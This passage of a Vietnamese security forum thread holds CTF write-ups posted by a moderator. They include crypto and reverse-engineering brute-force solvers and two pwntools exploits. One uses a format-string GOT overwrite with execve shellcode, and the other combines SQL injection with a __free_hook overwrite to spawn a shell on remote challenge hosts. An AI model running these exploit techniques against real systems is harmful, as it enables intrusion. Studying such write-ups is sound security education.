     Your question: iMeec1JxJBSHe4zO8wdMmrTXnS1UTw4UhlW6yvcqUJqi1JEpVl8sFIRsl4ncF3LFpNC4dlZfHVSBRqrQ6S1yxaDqhS5VSDxMkXeQ0PEtcZuP0JooQUMCHJF8rdj3KgvO
     Your answer: 88803000
     Right! Here is your flag: [email protected]&#^!!!
    1. Get challenge
    2. Solve challenge
    Your choice:
    solve.py

    Mã:
    # from Crypto.Cipher import AES
    import itertools
    import random
    from base64 import b64encode, b64decode
    import os
    from pwn import xor
    import string
    import json
    
    # key = "A" * 16
    # nonce = os.urandom(16)
    # nonce = 'Ewst\x00n\xbf\xbe\x8c?\x1f=\x1c\x8d\xed\xfa'
    # msg = "The quick brown fox jumped over the lazy dog. Lorem ipsum dolor sit amet."
    # print b64encode(msg)
    # ctrkey = map(ord, AES.new(key, AES.MODE_CTR, counter=lambda: nonce).encrypt("\x00" * 16))
    # print ctrkey
    
    charset = '=+/0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    charset2 = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>[email protected][]^_`{|}~ '
    
    def encrypt(s):
        s = b64encode(s)
        crypto = AES.new(key, AES.MODE_CTR, counter=lambda: nonce)
        return crypto.encrypt(s)
    
    def decrypt(s):
        crypto = AES.new(key, AES.MODE_CTR, counter=lambda: nonce)
        return b64decode(crypto.decrypt(s))
    
    # enc = encrypt(msg)
    # enc = b64decode("DoYgtr6+k1wmoikbCt8Y0zryLK++sY8bIrYlGCfPY90Clhm9lcWPASScJVki3wfNOoYO7JKllwYlxwQcCt0q3DusHq6+sbkaJMYxHQrfANw6hnGjvr6bHSO2JQEhzwSaFKZ15w==")
    enc = b64decode("iMeec1JxJBSHe4zO8wdMmrTXnS1UTw4UhlW6yvcqUJqi1JEpVl8sFIRsl4ncF3LFpNC4dlZfHVSBRqrQ6S1yxaDqhS5VSDxMkXeQ0PEtcZuP0JooQUMCHJF8rdj3KgvO")
    # '{"a":59400,"b":91578,"y":16085,"tm":"yf05j","Z":1495,"as":"answer=a*Z"}'
    print len(enc)
    assert len(enc) == 96
    
    key_sice = []
    
    for i in range(16):
        sice = []
        for j in range(256):
            corr = True
            for k in range(i, len(enc), 16):
                if xor(enc[k], chr(j)) not in charset:
                    corr = False
                    break
                # if xor(enc[k], chr(j)) == '=' and k < len(enc)-2:
                #     corr = False
                #     break
            if corr:
                sice.append(j)
        print sice
        key_sice += [sice]
    
    opts = []
    for i in range(0, 16, 4):
        curr_opts = []
        print i
        curr_keys = key_sice[i:i+4]
        for comb in itertools.product(*curr_keys):
            corr = True
            for j in range(i, len(enc)/16 * 16, 16):
                curr_block = enc[j:j+4]
                curr_dec = None
                try:
                    curr_dec = b64decode(xor(curr_block, ''.join(map(chr, comb))))
                except TypeError:
                    corr = False
    
                if corr == False:
                    break
    
                corr_2 = True
                for c in curr_dec:
                    if c not in charset2:
                        corr_2 = False
                        break
                if j == 0 and curr_dec[:2] != '{"':
                    corr_2 = False
                if j == 92 and curr_dec[-2:] != '"}':
                    corr_2 = False
                if not corr_2:
                    corr = False
                    break
            if corr:
                curr_opts.append(comb)
        print len(curr_opts)
        opts.append(curr_opts)
        print ""
    
    total_ways = 1
    for i in range(4):
        total_ways *= len(opts[i])
    print "Total: ", total_ways
    
    for key_comb in itertools.product(*opts):
        test_key = []
        for i in range(4):
            test_key += list(key_comb[i])
        dec_b64 = xor(enc, ''.join(map(chr, test_key)))
        dec = b64decode(dec_b64)
        if '"answer=' in dec:
            try:
                json.loads(dec)
                print repr(dec)
            except ValueError:
                pass
    
    #  Right! Here is your flag: [email protected]&#^!!!
    # 55b6569df49d7f82ff66c1cad0d03c97bd3da30d
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  12. whf

    whf Super Moderator Thành viên BQT

    Tham gia: 06/07/13, 03:07 AM
    Bài viết: 1,116
    Đã được thích: 731
    Điểm thành tích:
    113
    crypto03 | Team: perfect blue

    We are given a python implementation of some unknown cipher, ciphertext 3de950493ad1c29b5f9ae4ac5587c88ff8a6e18bbd642f2d84ce, key this_is_whitehat, nonce do_not_roll_your_own_crypto and a "salt" once_upon_a_time.

    Cipher initialization generates four 5-bit numbers a, b, c, d and uses them along with the key, nonce and salt to initialize self.rotor, an array of five 64-bit words. Details of this do not matter.

    During encryption self.rotor is used like a duplex sponge:

    Mã:
    # pseudocode
    def encrypt(plaintext):
        ciphertext = []
        for block in plaintext:
            rotor[0] ^= block
            ciphertext.append(rotor[0])
            permute(rotor, c)
    Where permute is the unkeyed permutation from Ascon.

    Solution
    All we have to do is guess the value of a, b, c, d and reverse encrypt():

    Mã:
    # pseudocode
    def decrypt(ciphertext):
        plaintext = []
        for block in ciphertext:
            block ^= rotor[0]
            rotor[0] ^= block
            plaintext.append(block)
            permute(rotor, c)
    
    def guess():
        for abcd in generate_all_abcd():
            c = Cipher(key, nonce, salt, abcd)
            plaintext = c.decrypt(ciphertext)
            if all_ascii(plaintext):
                print(plaintext)
    For full solution see oracle2.py. Run it with pypy for faster execution.

    oracle2.py

    Mã:
    import random
    import copy
    import itertools
    
    RATE = 8
    MASK = (1<<64)-1
    
    
    class TheOracle:
        """
        This class is used for encryption
        """
    
        def __init__(self, key_bytes, nonce_bytes, a, b, c, d):
            self.key = key_bytes[:0x10] if len(key_bytes) > 0x10 else key_bytes + b'\x00' * (0x10 - len(key_bytes))
            self.nonce = nonce_bytes[:0x10] if len(nonce_bytes) > 0x10 else nonce_bytes + b'\x00' * (
                0x10 - len(nonce_bytes))
            self.rotor = list()
            # a - init; b - salt; c - encode/decode; d - tag
            #self.a, self.b, self.c, self.d = [random.randint(0, (1 << 5)) for i in range(4)]
            self.a, self.b, self.c, self.d = a, b, c, d
            self.init_rotor()
    
        def init_rotor(self): # like Ascon
            """
            Initialize the rotor
            :return:
            """
            key_nonce = self.key + self.nonce
            temp = [self.a, self.b, self.c, self.d]
    
            for j in range(0, 32, 8):
                self.rotor += [sum([key_nonce[j: j + 8][i] << ((7 - i) * 8) for i in range(8)])]
            self.rotor = [sum([temp[i] << ((7 - i) * 8) for i in range(len(temp))])] + self.rotor
    
            self.rotor = self.black_box(self.rotor, self.a)
    
            for i in range(2):
                self.rotor[3 + i] ^= sum([self.key[i * 8: i * 8 + 8][j] << ((7 - j) * 8) for j in range(8)])
    
        def black_box(self, rotor, loop):
            for r in range(loop % 16):
                rotor[4] ^= rotor[3] # just like ascon
                rotor[0] ^= rotor[3] ^ rotor[4]
                rotor[2] ^= rotor[1] ^ (0xf0 - r * 0x0f)
    
                t = [(rotor[i] ^ ((1 << 64) - 1)) & rotor[(i + 1) % 5] for i in range(5)]
                rotor = [rotor[i] ^ t[(i + 1) % 5] for i in range(5)] # just like ascon
    
                rotor[0] ^= rotor[4]
                rotor[3] ^= rotor[2]
                rotor[1] ^= rotor[4] ^ rotor[0]
                rotor[2] ^= ((1 << 64) - 1) # just like ascon
    
                # like in ascon
                rotor[0] ^= (((rotor[0] >> 0x13) | (rotor[0] << (64 - 0x13))) & ((1 << 64) - 1)) ^ (((rotor[0] >> 0x1c) ^ (rotor[0] << (64 - 0x1c))) % (1 << 64))
                rotor[1] ^= (((rotor[1] >> 0x3d) | (rotor[1] << (64 - 0x3d))) & ((1 << 64) - 1)) ^ (((rotor[1] >> 0x27) ^ (rotor[1] << (64 - 0x27))) % (1 << 64))
                rotor[2] ^= (((rotor[2] >> 0x01) | (rotor[2] << (64 - 0x01))) & ((1 << 64) - 1)) ^ (((rotor[2] >> 0x06) ^ (rotor[2] << (64 - 0x06))) % (1 << 64))
                rotor[3] ^= (((rotor[3] >> 0x0A) | (rotor[3] << (64 - 0x0A))) & ((1 << 64) - 1)) ^ (((rotor[3] >> 0x11) ^ (rotor[3] << (64 - 0x11))) % (1 << 64))
                rotor[4] ^= (((rotor[4] >> 0x07) | (rotor[4] << (64 - 0x07))) & ((1 << 64) - 1)) ^ (((rotor[4] >> 0x29) ^ (rotor[4] << (64 - 0x29))) % (1 << 64))
    
            return rotor
    
        def handle_salt(self, salt, the_hidden, rotor, the_rate):
            padding = bytes([0x80]) + bytes(the_rate - (len(salt) % the_rate) - 1)
            result = salt + padding
    
            for b in range(0, len(result), the_rate):
                # what fucking retard wrote this?
                rotor[0] ^= sum([result[b: b + the_rate][j] << ((the_rate - 1 - j) * the_rate) for j in range(the_rate)])
                self.black_box(rotor, the_hidden)
    
            return rotor
    
        def encrypt(self, salt=None, plain_text=None):
            """
            Encrypt a plaintext
            :param salt:
            :param plain_text:
            :return: cipher text
            """
            temp = copy.copy(self.rotor)
            if salt is not None:
                temp = self.handle_salt(salt, self.b, temp, RATE)
            temp[4] = temp[4] - 1 if temp[4] & 1 else temp[4] + 1
    
            padding = bytes([0x80]) + bytes(RATE - (len(plain_text) % RATE) - 1)
            result = plain_text + padding
    
            cipher_text = b''
            for b in range(0, len(result) - RATE, RATE):
                temp[0] ^= sum([result[b: b + RATE][j] << ((RATE - 1 - j) * RATE) for j in range(RATE)])
                cipher_text += bytes([(temp[0] >> ((RATE - 1 - i) * RATE)) & 0xff for i in range(RATE)])
    
                self.black_box(temp, self.c)
    
            the_last_mess = len(result) - RATE
            temp[0] ^= sum([result[the_last_mess: the_last_mess + RATE][j] << ((RATE - 1 - j) * RATE) for j in range(RATE)])
            cipher_text += bytes([(temp[0] >> ((RATE - 1 - i) * RATE)) & 0xff for i in range(RATE)][:-len(padding)])
    
            return cipher_text.hex()
    
        def decrypt(self, salt=None, plain_text=None):
            temp = copy.copy(self.rotor)
            if salt is not None:
                temp = self.handle_salt(salt, self.b, temp, RATE)
            temp[4] = temp[4] - 1 if temp[4] & 1 else temp[4] + 1
    
            padding = bytes([0x80]) + bytes(RATE - (len(plain_text) % RATE) - 1)
            result = plain_text + padding
    
            cipher_text = b''
            for b in range(0, len(result) - RATE, RATE):
                w = sum([result[b: b + RATE][j] << ((RATE - 1 - j) * RATE) for j in range(RATE)])
                w ^= temp[0]
                temp[0] ^= w
                #temp[0] ^= sum([result[b: b + RATE][j] << ((RATE - 1 - j) * RATE) for j in range(RATE)])
                cipher_text += bytes([(w >> ((RATE - 1 - i) * RATE)) & 0xff for i in range(RATE)])
    
                self.black_box(temp, self.c)
    
            the_last_mess = len(result) - RATE
            w = sum([result[the_last_mess: the_last_mess + RATE][j] << ((RATE - 1 - j) * RATE) for j in range(RATE)])
            w ^= temp[0]
            temp[0] ^= w
            cipher_text += bytes([(w >> ((RATE - 1 - i) * RATE)) & 0xff for i in range(RATE)][:-len(padding)])
    
            return cipher_text
    
    
    CTEXT = bytes.fromhex('3de950493ad1c29b5f9ae4ac5587c88ff8a6e18bbd642f2d84ce')
    if __name__ == "__main__":
        old = None
        for params in itertools.product(range(32), repeat=4):
            if params[0] != old:
                old = params[0]
                print(old)
            server = TheOracle(b'this_is_whitehat', b'do_not_roll_your_own_crypto', *params)
            salt_bytes = b'once_upon_a_time'
            #plain = open('flag').read().encode()
            #cipher = server.encrypt(salt_bytes, plain)
            plain = server.decrypt(salt_bytes, CTEXT)
            k = 0
            for x in plain:
                if x&0x80:
                    k += 1
            if k == 0:
                print(plain)
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  13. whf

    whf Super Moderator Thành viên BQT

    Tham gia: 06/07/13, 03:07 AM
    Bài viết: 1,116
    Đã được thích: 731
    Điểm thành tích:
    113
    pwn01 | Team: Order of the Grey Fang

    exploit.py

    Mã:
    from pwn import *
    from struct import *
    
    nops = b'\x90'
    padding = b'\x00'
    
    
    clean = lambda x:  x.split('\n')[1:-2]
    pad = lambda x:  x + padding*(8-len(x))
    
    
    elf = ELF('./loop')
    context.binary = './loop'
    libc = ELF('./libc.so.6')
    # libc = ELF("/lib/x86_64-linux-gnu/libc-2.30.so")
    
    main_addr = 0x400805
    shellcode_addr = 0x4007b8
    
    def exec_fmt(payload):
        p = elf.process()
        p.sendline(payload)
        return p.recvall()
    
    autofmt = FmtStr(exec_fmt)
    offset = autofmt.offset
    
    def first_stage(r):
        r.readline()
        r.clean()
        payload_return2main = fmtstr_payload(offset, {elf.got['puts']:main_addr})
        r.sendline(payload_return2main)
        r.readline()
        r.clean()
    
    def leak_libc(r):
        payload_leakfgets = b'%13$s   ' + p64(elf.got['fgets']) + b'\x00'
        r.sendline(payload_leakfgets)
        result = r.readline()
        fgets_leak = u64(pad(result[6:12]))
        print("fgets Leaked address: ", hex(fgets_leak))
        r.clean()
        libc_base = fgets_leak - libc.sym.fgets
        # This address must be 0x1000 aligned, if not, its Probably wrong!
        print("libc base: ", hex(libc_base))
        assert (libc_base & 0x0000000000000fff) == 0, "ALERT! Program is probably using different libc than specified!"
        return libc_base
    
    shellcode_asm = 'xor rax, rax; xor rdx,rdx; xor rsi,rsi; mov rbx,0x68732f2f6e69622f; push rbx; push rsp; pop rdi; mov rax, 59; syscall; nop'
    shellcode = asm(shellcode_asm)  # 32 byte shellcode
    
    def exploit(local=False, one_gadget = 0xf02a4):
        if local is False:
            r = remote('15.165.78.226', 2311)
        else:
            r = elf.process()
            gdb.attach(r.pid, """c""")
        first_stage(r)
        libc_base = leak_libc(r)
        print('libc leaked!')
        gad = libc_base + one_gadget
        payload_one_gadget = fmtstr_payload(offset, {elf.got['printf']:gad}, write_size='short')
        r.sendline(payload_one_gadget)
        print(r.clean())
        return r
    
    a = exploit(False, 0xf02a4)
    a.interactive()
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  14. whf

    whf Super Moderator Thành viên BQT

    Tham gia: 06/07/13, 03:07 AM
    Bài viết: 1,116
    Đã được thích: 731
    Điểm thành tích:
    113
    pwn02 | Team: perfect blue

    This challenge is just a basic SQLi to fake the number of points, followed by a standard fsb to modify the __free_hook pointer to point to system, ending with creating a book with /bin/sh and then sell that book, issuing a call to free.

    Exploit:
    Mã:
    from pwn import *
    
    #p = process('./bookstore')
    p = remote('13.124.117.126', 31337)
    libc = ELF('libc.so.6')
    
    def choice(ch):
        p.recvuntil('Choice: ')
        p.sendline(str(ch))
    
    def login(ch, user, pwd):
        choice(ch)
        p.recvuntil('Username: ')
        p.sendline(user)
        p.recvuntil('Password:')
        p.sendline(pwd)
    
    login(1, "john', 'doe', 2000000000) --", 'lol')
    login(2, 'john', 'doe')
    
    choice(3)
    
    def format(msg):
        p.recvuntil('>>')
        p.sendline('2')
        p.recvuntil('address:')
        p.sendline(msg)
    
    format("[[[%p]")
    p.recvuntil('[[[0x')
    libc_base = int(p.recvuntil(']', drop=True), 16) - 0x3ec7e3
    print(hex(libc_base))
    
    start = 8 + 10
    pad = 10 * 8
    
    fmt = ''
    addrs = []
    written = 0
    
    def write_at(addr, val):
        global written, addrs, fmt
        assert 0 <= val <= 0xffff
        addrs.append(addr)
        fmt += '%{}c%{}$hn'.format((val - written) & 0xffff, start + len(addrs) - 1)
        written = val
    
    libc_system = libc_base + libc.symbols.system
    libc_freehook = libc_base + libc.symbols['__free_hook']
    write_at(libc_freehook, libc_system & 0xffff)
    write_at(libc_freehook + 2, (libc_system >> 16) & 0xffff)
    write_at(libc_freehook + 4, (libc_system >> 32) & 0xffff)
    
    fmt = fmt.ljust(pad)
    assert len(fmt) == pad
    fmt += ''.join(map(p64, addrs))
    assert(len(fmt) < 256)
    
    print(hex(libc_freehook))
    format(fmt)
    
    p.recvuntil('>>')
    p.sendline('3')
    
    choice(4)
    p.sendlineafter('Name:', '/bin/sh')
    p.sendlineafter('Author:', '/bin/sh')
    p.sendlineafter('Content:', '/bin/sh')
    
    choice(3)
    p.sendlineafter('>>', '1')
    p.sendlineafter('sell:', '0')
    
    p.interactive()
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  15. whf

    whf Super Moderator Thành viên BQT

    Tham gia: 06/07/13, 03:07 AM
    Bài viết: 1,116
    Đã được thích: 731
    Điểm thành tích:
    113
    re01 | Team: perfect blue

    We are given a 32-bit windows binary, whitehat.exe. On reversing the binary, this is what we find:

    It opens a file data and reads it in 15 chunks of 4096 bytes each. Depending on the 0th byte of each chunk, it swaps around the chunks. Then, it does some checks on the the data using the 10th byte of each chunk. Then, it hashes the modified data using a custom hash function, SHF, and compares the hash to a known value. If all these checks pass, it hashes the original data file, and prints it as the flag. It then, stomps over the 10-th byte and modifies it with some other values, before saving the file to output.png.

    So, since all but 15-bytes of the original data have been modified, we can use the checks to bruteforce the correct values for these, to get the original data.

    From the binary, we can extract the important checks:
    Mã:
      if ( (*data)[10] != 7 || data[13][10] != 12 )
        return 1;
      for ( l = 1; l <= 6; ++l )
      {
        v28 = data[l][10] - 52;
        if ( v28 > 9u )
          return 1;
      }
      for ( m = 7; m <= 11; ++m )
      {
        v28 = data[m][10] - 77;
        if ( v28 > 9u )
          return 1;
      }
      if ( data[12][10] - 34 > 9 )
        return 1;
      v4 = pow((long double)data[1][10], 3.0);
      v5 = pow((long double)data[2][10], 3.0) + v4;
      v28 = (signed int)(pow((long double)data[3][10], 3.0) + v5);
      if ( v28 != 98 )
        return 1;
      v6 = pow((long double)data[4][10], 3.0);
      v7 = pow((long double)data[5][10], 3.0) + v6;
      v8 = pow((long double)data[6][10], 3.0) + v7;
      v28 = (signed int)(pow((long double)data[7][10], 3.0) + v8);
      if ( v28 != 107 )
        return 1;
      v9 = pow((long double)data[9][10], 3.0);
      v10 = pow((long double)data[10][10], 3.0) + v9;
      v11 = pow((long double)data[11][10], 3.0) + v10;
      v28 = (signed int)(pow((long double)data[12][10], 3.0) + v11);
      if ( v28 != 191 )
        return 1;
    Since the value of the 0-th and 13-th character are fixed, we can write a bruteforce script to find out the possible values for the remaining characters which satisfy all the checks.

    Mã:
    opts1 = []
    for i in range(52, 61+1):
        for j in range(52, 61+1):
            for k in range(52, 61+1):
                if((k*k*k + i*i*i + j*j*j) % 256 == 98):
                    opts1.append([i, j, k])
    
    opts2 = []
    for i in range(52, 61+1):
        for j in range(52, 61+1):
            for k in range(52, 61+1):
                for l in range(77, 86+1):
                    if((k*k*k + i*i*i + j*j*j + l*l*l) % 256 == 107):
                        opts2.append([i, j, k, l])
    
    opts3 = []
    for i in range(77, 86+1):
        for j in range(77, 86+1):
            for k in range(77, 86+1):
                for l in range(34, 43+1):
                    if((k*k*k + i*i*i + j*j*j + l*l*l) % 256 == 191):
                        opts3.append([i, j, k, l])
    
    print len(opts1)
    print len(opts2)
    print len(opts3)
    
    The number of possible options are 3 18 42 along with the 8th character which has 10 possible values, which means we have a total of 22680 combinations which is easily bruteforceable.

    We can write a python script that tries all possible values, and checks if the hash is correct according the binary: solve3.py.

    solve3.py

    Mã:
    from pwn import *
    
    data = open("output.png", "rb").read()
    
    shits = []
    for i in range(0, len(data), 0x1000):
        shits.append(map(ord, list(data[i:i+0x1000])))
    
    
    opts1 = []
    for i in range(52, 61+1):
        for j in range(52, 61+1):
            for k in range(52, 61+1):
                if((k*k*k + i*i*i + j*j*j) % 256 == 98):
                    opts1.append([i, j, k])
    
    opts2 = []
    for i in range(52, 61+1):
        for j in range(52, 61+1):
            for k in range(52, 61+1):
                for l in range(77, 86+1):
                    if((k*k*k + i*i*i + j*j*j + l*l*l) % 256 == 107):
                        opts2.append([i, j, k, l])
    
    opts3 = []
    for i in range(77, 86+1):
        for j in range(77, 86+1):
            for k in range(77, 86+1):
                for l in range(34, 43+1):
                    if((k*k*k + i*i*i + j*j*j + l*l*l) % 256 == 191):
                        opts3.append([i, j, k, l])
    
    print len(opts1)
    print len(opts2)
    print len(opts3)
    
    
    total_len = sum(map(len, shits))
    print hex(total_len)
    
    def SHF(sice, curr_len):
        v4 = 0x2FD2B4
        for i in range(curr_len):
            v4 ^= sice[i]
            v4 *= 0x66EC73
            v4 %= 2**64
        return v4
    
    cnt = 0
    curr = []
    for i in range(15):
        curr.append(shits[i][:])
    
    for opt1 in opts1:
        for opt2 in opts2:
            for opt3 in opts3:
                for fuck_8 in range(77, 86+1):
                    ans = []
                    ans += [7]
                    ans += opt1
                    ans += opt2
                    ans += [fuck_8]
                    ans += opt3
                    ans += [12]
                    cnt += 1
                    if cnt % 100 == 0:
                        print cnt
                    for i in range(14):
                        curr[i][10] = ans[i]
                    v27 = [curr[i/4096][i % 4096] for i in range(total_len)]
                    v12 = SHF(v27, total_len)
                    v4 = []
                    v4.append((v12 - 125) % 256)
                    v4.append((((v12 >> 8) & 0xff) + 124) % 256)
                    v4 += map(ord, p16((((v12 >> 16) & 0xffff) - 0x5100 + 0x10000) % 0x10000))
                    v4 = ''.join(map(chr, v4))
                    if v4 == "Flag":
                        print ans
                        print "SICE"
    
    print cnt


    On running the program, we get the valid array: [7, 54, 61, 61, 59, 56, 58, 80, 83, 79, 85, 83, 38, 12].

    Using this array, we can generate the original data value by replacing the value of the 10th byte in each block and reversing the swaps:

    get_flag.py

    Mã:
    def SHF(sice, curr_len):
        v4 = 0x2FD2B4
        for i in range(curr_len):
            v4 ^= sice[i]
            v4 *= 0x66EC73
            v4 %= 2**64
        return v4
    
    data = open("output.png", "rb").read()
    
    shits = []
    for i in range(0, len(data), 0x1000):
        shits.append(map(ord, list(data[i:i+0x1000])))
    
    cnt = 0
    curr = []
    for i in range(15):
        curr.append(shits[i][:])
    
    total_len = sum(map(len, shits))
    print hex(total_len)
    
    deet = [7, 54, 61, 61, 59, 56, 58, 80, 83, 79, 85, 83, 38, 12]
    
    for i in range(14):
        curr[i][10] = deet[i]
    
    for i in range(7):
        if (curr[2*i][0] + curr[2*i+1][0]) % 2 == 0:
            curr[2*i], curr[2*i+1] = curr[2*i+1], curr[2*i]
    
    haxxor = []
    
    f = open('data', 'wb')
    for i in range(len(curr)):
        haxxor += curr[i]
        f.write(''.join(map(chr, curr[i])))
    f.close()
    
    print SHF(haxxor, total_len)
    On running the program with the valid data file, we get the flag:

     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan